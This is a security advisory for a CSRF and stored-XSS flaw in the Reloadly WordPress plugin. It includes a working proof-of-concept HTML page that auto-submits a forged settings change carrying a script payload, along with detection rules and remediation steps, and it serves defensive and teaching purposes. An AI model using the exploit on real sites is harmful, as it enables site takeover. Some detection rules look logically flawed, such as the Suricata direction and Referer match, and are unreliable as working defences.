CVE-2025-62956

Executive Summary

CVE-2025-62956 is a Cross-Site Request Forgery (CSRF) vulnerability in the Reloadly WordPress plugin (reloadly-topup-widget), developed by iseremet. The flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious scripts. Due to the lack of CSRF protection, this vulnerability can be chained with Stored Cross-Site Scripting (XSS), enabling persistent payload execution. The plugin is widely used for mobile top-up services, making it a high-value target for supply chain attacks.

Key Risk: An attacker can craft a malicious link or form that, when clicked by an admin, changes plugin configurations or injects JavaScript. This can lead to session hijacking, defacement, or data exfiltration. The vulnerability affects all versions up to and including 2.0.1, with no patch currently available.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem. Administrators should treat this as a critical supply chain risk and consider removing the plugin until a patch is released.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must click a link)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: High. Although the CVSS score is 7.1, the combination of CSRF and Stored XSS elevates the risk. An attacker can achieve persistent code execution in the admin context, leading to full site compromise.

Deep Dive & Mechanics

The vulnerability exists in the reloadly-topup-widget plugin, which lacks CSRF nonce validation on administrative actions. The plugin processes POST requests to save settings (e.g., API keys, widget configuration) without verifying the request origin. Additionally, the plugin fails to sanitize user input before storing it in the database, allowing Stored XSS.

Attack Flow:

1. Attacker crafts a malicious HTML page with an auto-submitting form targeting the plugin's settings endpoint.
2. Attacker lures an authenticated WordPress admin to visit the page.
3. The admin's browser sends a forged request, changing plugin settings or injecting a JavaScript payload.
4. The injected script executes in the admin's browser, allowing the attacker to create new admin users, exfiltrate data, or deploy further malware.

Root Cause: Missing CSRF nonce (wp_nonce_field()) and insufficient input sanitization (sanitize_text_field() not used).

Vulnerable vs. Patched Code

Vulnerable Code (reloadly-topup-widget.php, <= 2.0.1):

// No CSRF check
if (isset($_POST['save_settings'])) {
    update_option('reloadly_api_key', $_POST['api_key']);
    update_option('reloadly_widget_title', $_POST['widget_title']); // Stored XSS
}

Patched Code (Hypothetical Fix):

if (isset($_POST['save_settings']) && wp_verify_nonce($_POST['_wpnonce'], 'reloadly_save_settings')) {
    update_option('reloadly_api_key', sanitize_text_field($_POST['api_key']));
    update_option('reloadly_widget_title', sanitize_text_field($_POST['widget_title']));
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with Reloadly plugin <= 2.0.1 installed and activated.
• An authenticated admin session (cookie).

Exploit HTML (csrf_exploit.html):

<html>
<body>
<form action="http://target/wp-admin/admin-post.php?action=reloadly_save_settings" method="POST">
    <input type="hidden" name="save_settings" value="1">
    <input type="hidden" name="api_key" value="attacker_key">
    <input type="hidden" name="widget_title" value="<script>alert('XSS')</script>">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Steps:

1. Host the HTML file on an attacker-controlled server.
2. Send the link to the admin via email or social engineering.
3. Once the admin visits, the form auto-submits, changing the API key and injecting XSS.
4. The XSS payload executes on the admin's dashboard, allowing further compromise.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unexpected changes to wp_options table entries like reloadly_api_key or reloadly_widget_title.
• Look for HTTP requests to /wp-admin/admin-post.php?action=reloadly_save_settings with no Referer header matching the site domain.

Hardening:

• Disable the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php with suspicious parameters.
• Enforce Content Security Policy (CSP) headers to mitigate XSS.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/reloadly-topup-widget/reloadly-topup-widget.php
• Database Entries: wp_options with option_name = reloadly_api_key or reloadly_widget_title containing unexpected values.
• Network: POST requests to /wp-admin/admin-post.php?action=reloadly_save_settings with no valid Referer.
• Logs: WordPress debug log entries showing wp_verify_nonce failures (if patched) or missing nonce errors.

Detection Engineering

YARA Rule

rule Detect_Reloadly_CSRF_XSS {
    meta:
        description = "Detects vulnerable Reloadly plugin files with missing CSRF nonce"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "sha256:examplehash"
    strings:
        $vuln_func = "update_option('reloadly_" ascii wide nocase
        $no_nonce = "if (isset($_POST['save_settings']))" ascii wide nocase
    condition:
        $vuln_func and $no_nonce
}

Sigma Rule

title: Reloadly Plugin CSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to Reloadly plugin settings endpoint without proper Referer
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        c-uri: '/wp-admin/admin-post.php'
        cs-uri-query: 'action=reloadly_save_settings'
    filter:
        c-referer: 'http://target/wp-admin/*'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions from the dashboard
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-62956 Reloadly CSRF Exploit Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-post.php"; http_uri;
    content:"action=reloadly_save_settings"; http_uri;
    pcre:"/Referer:[^\r\n]*/wp-admin\//Pi";
    sid:1000001;
    rev:1;
    reference:cve,2025-62956;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove the plugin from the WordPress installation if not critical.
3. Audit user accounts for unauthorized admin creation.

Long-term Fix:

• The vendor must add CSRF nonce validation and input sanitization.
• Users should monitor the plugin repository for updates.

Workaround:

• Add a custom function to functions.php to block the vulnerable endpoint:

add_action('admin_post_reloadly_save_settings', function() {
    wp_die('Plugin disabled due to security vulnerability.');
}, 1);

Valters IT
Securing Digital Frontiers